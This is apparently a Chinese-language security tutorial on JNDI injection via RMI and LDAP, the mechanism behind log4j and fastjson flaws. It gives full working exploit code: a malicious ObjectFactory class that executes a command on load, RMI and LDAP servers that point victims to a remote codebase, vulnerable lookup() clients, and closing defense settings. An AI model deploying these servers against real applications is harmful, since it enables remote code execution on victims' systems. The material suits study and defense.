写在最前面

当我们研究其他影响力较大的漏洞,如log4j,fastjson时,总是绕不开lookup下的jndi漏洞,怀着更进一步分析的心里,我们来研究他们共同的底层漏洞——JNDI注入。
什么是JNDI?
JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。上面较官方说法,通俗的说就是若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的 命令服务目录服务,如下图。

![](D:tyOWASPJNDI20230308194119-24a1affa-bda6-1.png)

协议作用
LDAP轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMIJAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS域名服务

RMI+JNDI利用

Java RMI(Remote Method Invocation,远程方法调用)是一种分布式计算技术,用于在不同的 Java 虚拟机(JVM)之间调用对象的方法。它的核心在于允许一个 JVM 中的对象调用另一台远程 JVM 中对象的方法,仿佛调用的是本地对象,从而实现跨网络的对象通信和方法调用。

RMI的工作原理

  1. 客户端调用远程方法:客户端代码调用远程方法,表面上是像调用本地方法一样,但实际上通过网络进行调用。
  2. Stub 和 Skeleton

    • Stub:在客户端的代理对象,负责将远程方法调用转换为网络请求并发送给服务端。它在 Java RMI 中是自动生成的,无需手动创建。
    • Skeleton:在服务端的代理对象,负责接收来自 Stub 的网络请求,调用实际的远程方法并将结果返回给客户端。在 Java 2 SDK 之后不再需要手动实现 Skeleton。
  3. RMI 注册表查找远程对象:客户端首先通过 RMI 注册表查找远程对象并获取其引用。
  4. 传递参数和返回值:通过序列化和反序列化,RMI 将调用的参数和返回值在客户端和服务端之间传输。

简单RMI示例

定义实现远程接口

import java.rmi.server.UnicastRemoteObject;
import java.rmi.RemoteException;

public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {

// 必须提供一个构造器,并在其中抛出 RemoteException
protected HelloServiceImpl() throws RemoteException {
    super();
}

// 实现 sayHello 方法
@Override
public String sayHello(String name) throws RemoteException {
    return "Hello, " + name + "!";
}

}

服务端

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) {
        try {
            // 创建并导出远程对象
            HelloService helloService = new HelloServiceImpl();

        // 创建本地 RMI 注册表并将远程对象绑定到注册表中
        Registry registry = LocateRegistry.createRegistry(1099); // 1099 是默认端口
        registry.rebind("HelloService", helloService);

        System.out.println("Server is ready.");
    } catch (RemoteException e) {
        e.printStackTrace();
    }
}

}

客户端

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
    public static void main(String[] args) {
        try {
            // 获取 RMI 注册表
            Registry registry = LocateRegistry.getRegistry("localhost", 1099);

        // 查找远程对象
        HelloService helloService = (HelloService) registry.lookup("HelloService");

        // 调用远程方法
        String response = helloService.sayHello("World");
        System.out.println("Response: " + response);
    } catch (Exception e) {
        e.printStackTrace();
    }
}

}

先启动服务端,再开启客户端,客户端会去查找HelloService服务,打印出Hello World!

攻击示例:

新建RMIClient和RMIServer,以及恶意攻击类Caculator.java。

Caculator.java

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Calculator implements ObjectFactory {
    static {
        System.err.println("Malicious code executed");
        try {
            String[] cmd = {"calc.exe"};
            java.lang.Runtime.getRuntime().exec(cmd);
            System.err.println("Executed command: calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

恶意类,这里是运行系统指令calc.exe,弹出计算器则注入成功。将此恶意类编译

javac Caculator.java,

编译完成后在Caculator.class文件夹下进入cmd,输入python -m http.server 8000 启动本地的恶意服务

![image-20241112152705216](D:tyOWASPJNDIimage-20241112152705216.png)

RMIServer.java

package jndi_rmi_injection;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.ReferenceWrapper;
import java.rmi.AlreadyBoundException;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        // 创建 RMI 注册表并指定端口号 1099(RMI 默认端口)
        Registry registry = LocateRegistry.createRegistry(1099);

        // 创建一个 Reference 对象,表示要远程绑定的对象 "Calculator" 的引用
        // - "Calculator" 是服务的逻辑名称,客户端会通过这个名称来查找服务
        // - "Calculator" 是远程对象的类名
        // - "http://127.0.0.1:8000/" 是代码库的 URL,客户端可以从此地址获取类文件
        Reference calculator = new Reference("Calculator", "Calculator", "http://127.0.0.1:8000/");

        // 将 Reference 对象包装为 ReferenceWrapper,以便注册到 RMI 注册表
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(calculator);

        // 将 ReferenceWrapper 对象绑定到 RMI 注册表中,名称为 "Calculator"
        registry.bind("Calculator", refObjWrapper);

        // 启动服务器,输出服务启动信息
        System.out.println("RMIServer started");
    }
}

先启动服务端,开启服务

![image-20241112152911221](D:tyOWASPJNDIimage-20241112152911221.png)

RMIClient.java

package jndi_rmi_injection;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.directory.*;
import java.util.Hashtable;
import java.util.Properties;

public class RMIClient {
    public static void main(String[] args) {
        try {        
            // 定义远程对象的 RMI URL,包含 RMI 协议、服务地址和服务名称
            String url = "rmi://127.0.0.1:1099/Calculator";

            // 创建 JNDI初始上下文,用于与命名服务交互
            InitialContext initialContext = new InitialContext();

            // 通过 lookup 方法使用 URL 查找远程对象
            initialContext.lookup(url);

            // 查找成功,输出消息表示远程对象查找成功
            System.out.println("Remote object lookup successful.");
        } catch (NamingException e) {
            // 捕获 NamingException 异常(通常是因为找不到对象或网络问题导致的)
            e.printStackTrace();
        }
    }
}

再开启客户端,通过lookup函数找到构造的恶意类,执行构造的Caculator恶意类,实现攻击。

![image-20241112153252800](D:tyOWASPJNDIimage-20241112153252800.png)

LDAP+JNDI利用

LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议)是一种用于访问和管理分布式目录信息服务的协议。它用于在网络上组织和管理用户、组、设备等信息,广泛应用于企业网络的用户身份验证和访问控制。

LDAP的常见用途

  1. 身份验证和访问控制:LDAP可以用来存储用户凭据,许多应用程序可以使用LDAP进行身份验证。它常用于企业单点登录(SSO)系统中,用户可以使用相同的凭据访问多个系统。
  2. 集中管理用户和权限:LDAP使管理员可以集中管理用户账户和权限。这样,管理员可以在一个地方管理所有账户,方便用户的创建、删除、修改等操作。
  3. 查询与检索:LDAP支持快速查询,允许从目录中检索用户信息、设备信息等。通过LDAP客户端可以灵活地查询和筛选目录中存储的数据。

LDAP服务结构示例

假设一个公司 example.com 采用了LDAP服务管理,目录结构可能如下:

dc=example,dc=com
├── ou=People
│   ├── cn=John Doe, ou=People, dc=example, dc=com
│   ├── cn=Jane Smith, ou=People, dc=example, dc=com
│   └── cn=Alice Brown, ou=People, dc=example, dc=com
└── ou=Groups
    ├── cn=Admins, ou=Groups, dc=example, dc=com
    ├── cn=Developers, ou=Groups, dc=example, dc=com
    └── cn=HR, ou=Groups, dc=example, dc=com

攻击示例:

同理LDAP与RMI同属于JNDI的服务,他们的使用样例也相似,同样需要服务端与客户端,与攻击程序。

服务端LDAPServer.java

package jndi_ldap_injection;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPServer {
    // 定义LDAP服务器的基础DN
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main (String[] args) {
        // 定义目标URL和端口,用于重定向到恶意代码
        String url = "http://127.0.0.1:8000/#Calculator";
        int port = 1234;

        try {
            // 配置内存中的LDAP服务器
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);

            // 配置监听设置,使服务器在所有网络接口的指定端口上监听
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"), // 绑定到所有IP地址
                    port, // 监听的端口
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            // 添加自定义的操作拦截器,用于拦截并处理LDAP查询请求
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));

            // 创建并启动内存中的LDAP服务器
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("LDAP启动成功");
            System.out.println("Listening on 0.0.0.0:" + port); // 输出监听信息
            ds.startListening();

        } catch ( Exception e ) {
            e.printStackTrace(); // 输出异常信息
        }
    }

    // 内部类,用于拦截并自定义处理LDAP操作
    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        // 构造函数,接收并保存URL
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        // 重写方法,处理LDAP查询结果
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN(); // 获取查询的Base DN
            Entry e = new Entry(base); // 创建一个LDAP条目
            try {
                // 发送查询结果
                sendResult(result, base, e);
            } catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        // 发送伪造的LDAP查询结果
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            // 创建一个指向恶意代码的URL
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);

            // 设置LDAP条目的属性,用于返回恶意Java对象引用
            e.addAttribute("javaClassName", "Calculator"); // 定义伪造的Java类名
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos); // 去掉URL中的#部分
            }
            e.addAttribute("javaCodeBase", cbstring); // 定义代码库URL
            e.addAttribute("objectClass", "javaNamingReference"); // 指定对象类名
            e.addAttribute("javaFactory", this.codebase.getRef()); // 指定工厂类名

            // 发送伪造的LDAP条目
            result.sendSearchEntry(e);
            // 设置成功的LDAP响应
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

客户端LDAPClient.java

package jndi_ldap_injection;


import javax.naming.InitialContext;
import javax.naming.NamingException;


public class LDAPClient {
    public static void main(String[] args) throws NamingException{
        String url = "ldap://127.0.0.1:1234/Calculator";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }

}

攻击程序也是上面的Caculator类,可以直接使用上面编译好的class类

攻击步骤也与上面相同,先启动客户端,在恶意构造类Caculator.class的cmd文件中启动本地网络服务 python -m http.server 8000,再启动客户端,即可完成恶意攻击。这里注意恶意类与url匹配。

漏洞成因分析

在JNDI提供的类中有InitialContext 类,主要用于读取JNDI的一些配置信息,内涵对象和其在 JNDI 中的注册名称的映射信息。
其中有一个函数lookup(String name),获取url前的协议名称,从而提供对应的服务。如图所示,JNDI会通过rmi协议访问127.0.0.1:1099/Calculator

![image-20241112164619122](D:tyOWASPJNDIimage-20241112164619122.png)

![image-20241112164833769](D:tyOWASPJNDIimage-20241112164833769.png)

跟进代码发现,lookup()函数参数可控,就是漏洞的关键。

RMI 允许 Java 程序跨 JVM 调用对象的远程方法,利用 RMI 可以将一个对象序列化后通过网络发送给客户端。当 JNDI 和 RMI 一起使用时,应用程序会通过 JNDI 查找到 RMI 远程对象引用。若该引用的来源不可信(比如指向攻击者的 RMI 服务),则可能引入恶意对象或字节码,造成远程代码执行漏洞。

攻击者在远程服务器上构造恶意的 Reference 类绑定在 RMIServerRMI 注册表 里面,然后客户端调用 lookup() 函数里面的对象,远程类获取到 Reference 对象,客户端接收 Reference 对象后,寻找 Reference 中指定的类,若查找不到,则会在 Reference 中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行,从而达到 JNDI 注入攻击。

防御方法

避免使用不受信任的 JNDI URL:确保 JNDI 查找的资源来自受信任的来源,避免使用未验证的 RMI、LDAP 或其他远程服务地址。

禁用自动代码库加载:设置 java.rmi.server.useCodebaseOnlytrue,以限制远程代码库的自动加载。

  System.setProperty("java.rmi.server.useCodebaseOnly", "true");

使用安全的 JNDI 配置:配置 JNDI 属性 com.sun.jndi.rmi.object.trustURLCodebase=false,防止不可信的代码库加载。

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");

禁用或限制序列化和反序列化:尽可能避免反序列化不受信任的数据,或者通过安全的序列化库进行替代。

限制 JNDI 和 RMI 的网络访问:通过网络隔离或访问控制来限制对外部 JNDI 和 RMI 服务的访问。